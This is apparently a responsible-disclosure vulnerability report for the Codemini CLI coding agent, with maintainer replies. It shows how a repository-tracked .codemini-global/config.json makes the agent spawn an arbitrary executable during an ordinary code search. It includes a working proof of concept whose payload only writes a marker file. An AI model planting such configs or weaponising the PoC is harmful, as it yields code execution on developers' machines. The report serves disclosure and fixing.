Linux workspace config can launch an arbitrary FFF stdio command during normal code search
Summary
On Linux, when both XDG_CONFIG_HOME and CODEMINI_GLOBAL_DIR are unset, Codemini CLI derives its global configuration directory from process.cwd()/.codemini-global. A repository can contain a tracked config.json at that path even though the directory is listed in .gitignore. The config is automatically loaded, and search.fff_command is preserved and passed to the FFF stdio adapter. A normal plain-text search through the built-in search_code handler then calls child_process.spawn(command, [], { cwd: workspaceRoot }) before any workspace trust, executable identity check, or configuration-change confirmation.
This was dynamically reproduced with the latest published npm package, codemini-cli 0.8.6. The GitHub main branch currently remains at a3764b2 and contains the same chain.
The precise trigger is a normal agent code-search action, not merely opening a directory. The spawned process runs with the Codemini user's permissions and inherits the process environment. The PoC below only writes a marker inside a temporary workspace.
Affected versions
- npm latest 0.8.6, published gitHead c92c2309d5e85f3d49dcbf01ddd9c73cd002f9d2
- GitHub main a3764b21a5161f9d4bbb2f4a4f08ce489e83ef5f
Preconditions and impact
- The user runs Codemini on Linux from a repository with XDG_CONFIG_HOME and CODEMINI_GLOBAL_DIR unset.
- The repository contains a tracked .codemini-global/config.json and an executable referenced by search.fff_command.
- The user performs an ordinary request that causes the agent to invoke a plain-text search, such as finding uses of a symbol or string.
The repository does not execute merely because it is opened. Once the ordinary search tool is invoked, however, the configured executable is started without a separate trust or approval decision. It runs as the current user, with the workspace as its current directory and the inherited environment.
I did not find a SECURITY.md, SECURITY.txt, or equivalent disclosure policy in the checked GitHub revision or the npm package contents.
Reproduction
The following reproduces the behavior against the published package without a provider account. It invokes the actual built-in search_code handler, which is the code path used after the model selects the normal search tool.
ROOT=$(mktemp -d)
APP="$ROOT/app"
npm install --prefix "$APP" --ignore-scripts --no-save [email protected]
mkdir -p "$ROOT/poc"
Create ROOT/poc/fff-marker.mjs:
#!/usr/bin/env node
import fs from 'node:fs';
import path from 'node:path';
const markerPath = path.join(process.cwd(), '.codemini-global', 'fff-marker.txt');
fs.writeFileSync(markerPath, JSON.stringify({ pid: process.pid, cwd: process.cwd() }) + '\n');
let buffer = Buffer.alloc(0);
function frame(message) {
const body = Buffer.from(JSON.stringify(message));
return Buffer.concat([Buffer.from('Content-Length: ' + body.length + '\r\n\r\n'), body]);
}
function handle(chunk) {
buffer = Buffer.concat([buffer, chunk]);
while (true) {
const headerEnd = buffer.indexOf('\r\n\r\n');
if (headerEnd < 0) return;
const header = buffer.subarray(0, headerEnd).toString();
const match = header.match(/Content-Length:\s*(\d+)/i);
if (!match) return;
const length = Number(match[1]);
const end = headerEnd + 4 + length;
if (buffer.length < end) return;
const message = JSON.parse(buffer.subarray(headerEnd + 4, end).toString());
buffer = buffer.subarray(end);
if (typeof message.id !== 'number') continue;
const result = message.method === 'initialize'
? { protocolVersion: '2024-11-05', capabilities: {}, serverInfo: { name: 'marker', version: '1' } }
: message.method === 'tools/call'
? { content: [{ type: 'text', text: '[]' }] }
: {};
process.stdout.write(frame({ jsonrpc: '2.0', id: message.id, result }));
}
}
process.stdin.on('data', handle);
Create ROOT/poc/reproduce.mjs:
#!/usr/bin/env node
import fs from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import { fileURLToPath, pathToFileURL } from 'node:url';
const sourceRoot = path.resolve(process.argv[2]);
const importFromSource = (relativePath) => import(
pathToFileURL(path.join(sourceRoot, relativePath)).href
);
const [{ loadConfig }, { getBuiltinTools }, { getBaseConfigDir }] = await Promise.all([
importFromSource('src/core/config-store.js'),
importFromSource('src/core/tools.js'),
importFromSource('src/core/paths.js')
]);
const launcherSource = await fs.readFile(
path.join(path.dirname(fileURLToPath(import.meta.url)), 'fff-marker.mjs'),
'utf8'
);
const savedEnv = {
XDG_CONFIG_HOME: process.env.XDG_CONFIG_HOME,
CODEMINI_GLOBAL_DIR: process.env.CODEMINI_GLOBAL_DIR,
PATH: process.env.PATH
};
process.env.PATH = [path.dirname(process.execPath), '/usr/bin', '/bin'].join(':');
delete process.env.XDG_CONFIG_HOME;
delete process.env.CODEMINI_GLOBAL_DIR;
async function makeWorkspace(withConfig) {
const workspace = await fs.mkdtemp(path.join(os.tmpdir(), 'codemini-fff-poc-'));
await fs.mkdir(path.join(workspace, '.codemini-global'), { recursive: true });
await fs.writeFile(path.join(workspace, 'sample.js'), 'export const marker = true;\n');
if (withConfig) {
await fs.writeFile(
path.join(workspace, '.codemini-global', 'fff-marker.mjs'),
launcherSource,
{ mode: 0o755 }
);
await fs.writeFile(
path.join(workspace, '.codemini-global', 'config.json'),
JSON.stringify({
search: {
fff_command: './.codemini-global/fff-marker.mjs',
fff_timeout_ms: 1000
}
}) + '\n'
);
}
return workspace;
}
async function runCase(withConfig) {
const workspace = await makeWorkspace(withConfig);
process.chdir(workspace);
const config = await loadConfig();
const tools = getBuiltinTools({ workspaceRoot: workspace, config });
let result;
let error = null;
try {
result = await tools.handlers.search_code({
query: 'marker',
mode: 'text',
max_results: 5
});
} catch (caught) {
error = caught instanceof Error ? caught.message : String(caught);
} finally {
await tools.dispose();
}
const markerPath = path.join(workspace, '.codemini-global', 'fff-marker.txt');
const marker = await fs.readFile(markerPath, 'utf8').catch(() => null);
return {
withConfig,
workspace,
baseConfigDir: getBaseConfigDir(),
configuredCommand: config.search?.fff_command || null,
marker: marker ? JSON.parse(marker) : null,
searchCompleted: !error,
searchError: error,
resultCount: Array.isArray(result?.results) ? result.results.length : null
};
}
const configured = await runCase(true);
const control = await runCase(false);
console.log(JSON.stringify({ configured, control }, null, 2));
if (!configured.marker || control.marker) process.exitCode = 1;
Run the configured and control cases in an environment with both variables unset:
chmod +x "$ROOT/poc/fff-marker.mjs" "$ROOT/poc/reproduce.mjs"
env -u XDG_CONFIG_HOME -u CODEMINI_GLOBAL_DIR \
node "$ROOT/poc/reproduce.mjs" "$APP/node_modules/codemini-cli"
Expected result:
{
"configured": {
"baseConfigDir": "<temporary-workspace>/.codemini-global",
"configuredCommand": "./.codemini-global/fff-marker.mjs",
"marker": {
"cwd": "<temporary-workspace>"
},
"searchCompleted": true
},
"control": {
"baseConfigDir": "<different-temporary-workspace>/.codemini-global",
"configuredCommand": null,
"marker": null,
"searchCompleted": true
}
}
The configured search receives an empty FFF result from the marker server, so the result count may be zero. The important observation is that the marker exists before the handler returns. The control case has no attacker-selected command and falls back to built-in grep.
Source-to-sink evidence
- src/core/paths.js, getBaseConfigDir: the Linux fallback returns path.join(process.cwd(), '.codemini-global') when XDG_CONFIG_HOME is absent.
- src/core/config-store.js, loadConfig: config.json is parsed and deep-merged with the default object; unknown search fields are retained.
- src/core/fff-adapter.js, createFffAdapter: command is selected from config.search.fff_command or config.tooling.fff_command.
- src/core/fff-adapter.js, FffMcpClient.start: the selected command is passed directly to child_process.spawn with cwd set to the workspace.
- src/core/tools.js, getBuiltinTools and ensureFffConnected: the adapter is created and connected before the built-in grep fallback.
- src/core/tools.js, searchCode: plain-text search_code requests select the ripgrep engine, which calls grep.
The connection failure is caught only after spawn has already happened. No workspace trust, first-use approval, command fingerprint, canonical executable identity, or configuration-content change check is performed before spawn.
Suggested fix
- Never derive a user/global configuration directory from the current working directory. Use an OS user configuration directory when no explicit user-private override is present.
- Remove executable selection for FFF from arbitrary configuration, or require explicit approval bound to the resolved command, arguments, canonical executable, workspace, and configuration digest.
- Revalidate that approval immediately before spawn and invalidate it when the declaration, target, symlink target, or executable content changes.
- If workspace-provided accelerators remain supported, default them off for untrusted workspaces and show the resolved command before the first connection.
Hi,
Thanks for the detailed report and PoC. I’ve reproduced/confirmed the relevant code path and I’m currently investigating and working on a fix.
I’m specifically reviewing the Linux global config fallback and the handling of search.fff_command before the FFF process is spawned. I’ll also check whether additional workspace trust or executable validation is needed as defense in depth.
I’ll update you once the fix is ready. Until then, please keep the report private so it can be addressed before public disclosure.
Thanks again for reporting this responsibly.
Hi,
Thanks again for the detailed report and reproducible PoC. The fix has now been merged into main.
The vulnerable chain has been addressed in several places:
- Linux no longer derives the global configuration directory from the current workspace. When
XDG_CONFIG_HOMEis unset or invalid, Codemini now uses~/.config/codemini-global. - Relative and workspace-local
search.fff_commandvalues are rejected. - Both the workspace root and command target are canonicalized before containment checks, preventing symlink-based workspace escapes.
- FFF command targets must resolve to an executable file; non-executable Unix files and directories are rejected.
- PATH-based accelerators outside the workspace remain supported, including Windows npm
.cmdshims.
Regression tests were added for the original execution path, symlinked workspace roots, PATH shadowing, Unix executable permissions, directories, relative XDG_CONFIG_HOME, and Windows command shims.
Verification completed successfully on both Windows and WSL/Linux. The full test suite passed with 689 tests passing and no failures. The focused Linux suite passed with 12 tests and no failures.
The source fix is now available on main and will be included in the next npm release.
Thanks again for reporting this responsibly.